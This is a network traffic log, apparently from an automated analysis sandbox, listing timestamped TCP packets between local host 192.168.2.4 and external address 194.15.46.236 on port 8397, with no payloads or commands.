Nov 24, 2024 12:10:08.979384899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.979532957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.979571104 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.980648994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.980662107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.980711937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.981864929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.981879950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.981923103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.982855082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.982940912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.982981920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.985321045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.985476971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.985536098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.986397028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.986409903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.986445904 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.986881971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.986893892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.986927986 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.988159895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.988172054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.988210917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.989317894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.989331007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.989376068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.990377903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.990597010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.990639925 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.990899086 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.991573095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.991674900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.991728067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.992835045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.992954969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.992995977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.994118929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.994189978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.994231939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.995368004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.995491028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.995542049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.996613979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.996793985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.996843100 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.997931957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.998097897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.998145103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.999102116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.999213934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.999253988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.003021002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.003032923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.003042936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.003053904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.003083944 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.003149033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.003179073 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.003190041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.003218889 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.004394054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.004405022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.004441023 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.005793095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.005955935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.005995989 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.006874084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.007047892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.007090092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.008073092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.008347034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.008388996 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.009351015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.062031984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.156951904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.156976938 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.157058954 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.157417059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.157727003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.157764912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.157906055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.158992052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.159053087 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.159071922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.160218954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.160271883 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.160346985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.161480904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.161516905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.161583900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.162741899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.162782907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.162817001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.163999081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.164041042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.164072990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.165242910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.165296078 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.165324926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.166495085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.166539907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.166615009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.167800903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.167834044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.167836905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.169007063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.169042110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.169085026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.170222998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.170259953 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.170326948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.171535015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.171583891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.171590090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.172741890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.172781944 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.172841072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.174026966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.174068928 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.174123049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.175265074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.175303936 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.175342083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.176523924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.176577091 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.176614046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.177823067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.177870989 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.177910089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.179024935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.179065943 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.179099083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.180335999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.180376053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.180397034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.181535959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.181587934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.181632996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.182825089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.182866096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.182883978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.184043884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.184087038 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.184187889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.185345888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.185390949 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.185425997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.186568022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.186618090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.186789989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.187784910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.187829018 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.187891960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.189083099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.189136028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.189169884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.190337896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.190382957 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.190434933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.191592932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.191643953 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.191669941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.192821980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.192893982 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.192931890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.193345070 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.194145918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.194194078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.194202900 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.195300102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.195391893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.195488930 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.196594954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.196657896 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.196687937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.197817087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.197876930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.197921038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.199146986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.199196100 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.199230909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.200378895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.200432062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.200501919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.201595068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.201649904 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.201693058 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.202913046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.202995062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.203033924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.204094887 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.204169989 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.204206944 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.205482960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.205545902 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.205588102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.206832886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.206866026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.206880093 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.208007097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.208018064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.208058119 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.209099054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.209151030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.209212065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.210396051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.210458040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.210519075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.211680889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.211741924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.211787939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.212872982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.212944984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.213023901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.214128971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.214232922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.214325905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.215392113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.215459108 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.215507984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.216607094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.216655016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.216711044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.217901945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.217951059 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.218024969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.219213009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.219269037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.219278097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.220371962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.220441103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.220477104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.221715927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.221764088 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.221832037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.265141010 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.368536949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.368566036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.368635893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.368691921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.368856907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.368906021 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.369955063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.370062113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.370131969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.371186018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.371290922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.371349096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.372426033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.372577906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.372631073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.373707056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.373816013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.373862982 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.374942064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.375200987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.375252962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.376238108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.376449108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.376497030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.377465963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.377580881 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.377638102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.378684998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.378901958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.378958941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.380088091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.380203962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.380264997 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.381196976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.381321907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.381378889 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.382458925 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.382575989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.382621050 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.383722067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.383840084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.383882046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.385067940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.385185003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.385236979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.386337042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.386348963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.386404037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.387475967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.387639999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.387686968 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.388720989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.388837099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.388892889 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.389957905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.390079975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.390145063 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.391231060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.391361952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.391412973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.392484903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.392596960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.392643929 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.393716097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.393824100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.393872976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.394984007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.395112038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.395158052 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.396230936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.396357059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.396409988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.397521973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.397654057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.397702932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.398766994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.398848057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.398895979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.400080919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.400199890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.400253057 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.401281118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.401377916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.401432037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.402529001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.402692080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.402755976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.403759956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.403877020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.403922081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.405014038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.405153990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.405201912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.406296968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.406403065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.406450033 CET	49733	8397	192.168.2.4	194.15.46.236
